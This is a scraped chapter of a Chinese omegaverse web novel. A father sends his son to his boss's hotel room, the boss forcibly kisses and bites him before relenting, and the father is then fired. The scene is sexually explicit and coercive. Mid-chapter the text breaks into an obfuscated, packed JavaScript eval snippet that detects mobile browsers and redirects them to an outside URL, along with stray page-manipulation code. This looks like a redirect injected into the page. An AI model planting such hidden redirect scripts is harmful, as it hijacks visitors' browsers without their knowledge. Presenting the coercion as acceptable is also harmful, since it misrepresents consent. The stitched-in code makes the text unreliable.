?
“什么?”
林理寻愣愣站着,还没搞清楚状况,刚往后想退一步,一股从未感受过的威压就朝他席卷过来。
“呃……”
Omega闷哼一声,双腿莫名发软,不受控制地朝后,失去力气倒在床铺里,信息素像是要钻进身体的每一个空隙,头脑愈发昏沉。
清纯漂亮的长相,味道又甜又嫩,像一块美味诱人的蛋糕。
就是装得有点太过了。
男人眼神逐渐变得内敛深沉,膝盖压上床单,将人覆盖在自己身下。
一个色//情的,湿漉漉的吻。
湿热的舌头探进口腔,缠绕着小舌吮吸嘬弄,信息素源源不断地涌进来,漫进身体里,Omega敏感闷哼,几乎要喘不过气,只能难耐地抓着衬衫。
男人又退出来,轻咬他下唇,在嘴唇上留下浅浅的牙印,强硬地抵开齿列,舔进人上颚,一边动情亲吻着,一边大手摸上细嫩肌肤,爱抚着揉捏。
“呜……”
耳旁全是缠腻的水声,口水控制不了地溢出来,林理寻被吻得难受,整个人晕晕乎乎,受不了地推男人肩膀。
稍微抬起头,捏住精致小巧的下巴,Omega的嘴唇被亲得湿湿红红,微张着喘气,漂亮的眼睛好像蒙上一层水雾,湿乎乎地看着自己。
谢寅心中一动,下半身早就有了反应,低下头,又往红唇上亲了一口,紧贴着压住人,摸索着就要解衬衫扣子。
“等……”
衣领第一枚扣子被解开,皮肤接触到微凉的空气,接着是湿湿热热的舔抵,男人一口口咬下去,在白皙的颈脖留下一颗颗红印。
“唔……呃!”
身下的人实在太乖太软,一下没忍住,往锁骨处用力咬重了些,林理寻猛然吃痛,被信息素侵占的大脑突然好像有点清醒,恍然间想起几天前那个阴暗的小巷,也是像现在这样的威压,死死压制着自己的整个身体,根本动弹不得。
他一下反应过来:
“等、等等!”
Omega忽然剧烈挣扎起来,谢寅还以为他又要跟刚刚那样小耍性子,手上使了点力气,刚想按住人,下一秒,脸上就突然传来“啪”的一道响声。
“……”
林理寻猛地一下把压在身上的男人推开,聚拢着衣领慌乱抬眼:
“哥哥……”
父亲上司的脸上直接多出来一道红红的巴掌印,他后知后觉地有点慌,但成年Alpha跟Omega共处一室,这种危险的处境没时间给他考虑打人的后果,他声音抖着发问:
“你要干什么……”
害怕又可怜,Omega紧紧扯着衣领,抓住床单,一点点地试图往后挪。
“我要干什么?”
进行到一半突然被打断,脸上还莫名挨了一把掌,对方拒绝的意图也很明显,谢寅不耐地舔了舔后槽牙:
“你父亲把房卡递给我了,你现在是什么意思。”
“要反悔吗?”
“什么房卡啊,我不知道……”
林理寻这下才完全回过神,父亲嘴里突然的晚宴机会,单独的房卡,浴室的淋浴声,原来迹象早就这么明显。
甚至林炆宣也早就跟他提过,只是他太天真了,一直犯傻。
“我不知道……”
“我真的不知道,什么啊,他没跟我说过。”
像是完全不能接受,他恍惚着摇头:
“他只跟我说了里面是只很珍贵的手表,叫我当面给你送过来。”
情绪彻底崩溃:
“但他没说要上/床啊……”
“所以?”
再怎么傻也看出了Omega的意思,男人抬眼定定看他:
“你不愿意。”
面前这个成年Alpha的威压强得可怕,林理寻眼睛发红,他一刻也不敢多待,几乎是马上跳下床,颤抖着声音求人:
“我不行的哥哥,你放过我吧。”
这怎么行呢,他有男朋友了,他们才刚交往没多久,他喜欢他的男朋友,他的男朋友也很爱他,怎么可以做出这种背叛两人感情的事情。
“我做不了,我真的做不了。”
小孩红着眼眶看他:
“我不能跟你做这种事。”
Omega跟个小鹌鹑一样窝在角落,死死拉着自己的领口,眼睛红得不行,一副生怕男人非礼他的样子。
谢寅感觉自己要被气笑了,简直就想把林远海抓过来当场下跪。
这算什么。
自己看上去很好耍吗?
林理寻一动也不敢动,紧张害怕地盯着面前的人,房间里氛围压抑得可怕,他被吓得一口气也不敢出。
沉默片刻,男人笑了,笑得很轻,轻到几乎让林理寻以为这就可以放过他。
“你说做不了就做不了?”
在Omega害怕的目光中,他面色沉戾地迈步上前,强硬摆正林理寻那张失去血色的小脸,逼着人对上自己的冷郁的视线。
开玩笑,他就是看上了,送出去的礼物哪有要回的道理。
“……”
“我不想。”
手指泛上一点湿意,泪珠砸在手背上,直白明显的伤心难过。
谢寅愣住了。
莫名心痛,林理寻眼泪直流,哭得几乎哽咽,整个人断断续续抽气:
“求你了哥哥……”
“不要那样。”
“……”
漂亮的,无辜的小孩。
就这样什么都不知道,懵懂地被亲生父亲送进来,做一场不顾意愿的交易。
沉默地看着人哭。
“行了。”
他松开手,明明没用多少劲,这张白嫩的小脸就是多了几道红印。
“你出去吧。”
林理寻愣着抬起脸,一抽一抽地看人。
谢寅转身披上浴袍,全程没有回头。
半响,他沉下声线,朝人冷道:
“但如果下次还这么不小心。”
“不管你愿不愿意,我都会直接把你抢过来。”
……
嘴唇被吮吸得红肿,颈部跟锁骨处痛也得厉害,男人开始的时候没有收力气,重重咬了好几个牙印。
林理寻摸着楼梯扶手,走得摇摇欲坠。
为什么从小就只偏爱另一个孩子,为什么要把自己送进别人房间,为什么要骗人。
他恨死林远海了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380995|200175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
蹲在楼梯间,崩溃的情绪根本控制不住,眼泪直流,还是忍不住哭了出来。
“……”
“妈的!要干这么久吗?等死老子了。”
林远海坐在侧边门口的台阶上,看着酒店侧门口时不时抬头,晚上夜凉,冷风一直往他脸上刮,他却舍不得上车,皮鞋旁满地散落着烟头。
那个小小的身影刚一露面,林远海迫不及待地迎上来。
“做了没有?跟谢总发展到哪一步了?”
林理寻一句话也不想说,情绪恹恹地低着头,拉开车门就想上车。
林远海却急了,冲上去扯着他袖子:
“到底怎么样?你说话啊。”
林理寻被吓一跳,侧身躲了一下没躲开,领口被扯下一小半,露出颈脖处密密麻麻的暧昧吻痕。
他立刻打开林远海的手,缩到最角落,眼睛红肿,跟只受惊的小兽一样死死将衣领捂好。
“哎你这,跟爸爸实话实说不就好了。”
林远海顿时明白了,关上车门,得意地启动车辆:
“听话,这次是爸爸对不起你,但你也看到了,到这个地步了,爸爸也没有别的办法。”
“你也别一副委屈的样子,谢总也不是谁都看得上的,回家爸爸好好补偿你就是了。”
后座的儿子默不作声,林远海却心情大好,美滋滋回到家中,甚至还做了升职的美梦。
之前给谢寅塞人的案例从来没成功过,自家儿子却能进他的眼,这下也不用怕去坐牢了,指不定还能一步登天。
他早就看他上头那位小领导不顺眼了,有点权力就天天指挥这指挥那,半点本事没有,架子倒摆得挺足,这下看他不把人狠狠踩在脚下,出尽这口憋了多年的恶气!
就这样做了一晚上升官发财的美梦,早上凌晨五点刚过,他就亢奋地睁开眼,迫不及待坐起来,手机上果然有条新信息,赶紧点开一看:
确实是谢寅的秘书发来的,但屏幕上赫然显示的,分明是一条革职通知。
这怎么会??!
林远海大惊失色,这完全出乎他的意料,没有升职就算了,自己在公司勤勤恳恳干了几十年,到头来竟然只等到这样一条被开除的通知。
他如何能接受??
他也不知道到底是哪里得罪谢寅了,心里预期落差太大,林远海不甘心只落得这样的结果,不管怎么样,他总得刨根到底问个明白。
谢寅本人肯定是联系不上,他连忙对着屏幕前这条号码播过去,一阵忙碌的机械女声,焦急的等待过后,对面终于接通,却只给出一句斟酌着回复的“好自为之。”
“什么?!”
这他妈是什么意思?自己可是下了血本,都舍得把亲生儿子往他床上送了,这谢寅平时看起来道貌岸然的,结果睡了人竟然不认账?
林远海气得血气往上涌,脾气急得想骂人,但对方的层级远不是他能顶撞的。
他努力平复自己的情绪,摆出一副恳切的语气询问:
“是谢总对人不满意吗?”
“实不相瞒,谢总挺满意的,只是……”
周秘书停顿片刻,斟酌道:
“林先生,不诚意的礼物就不要端上来了吧。”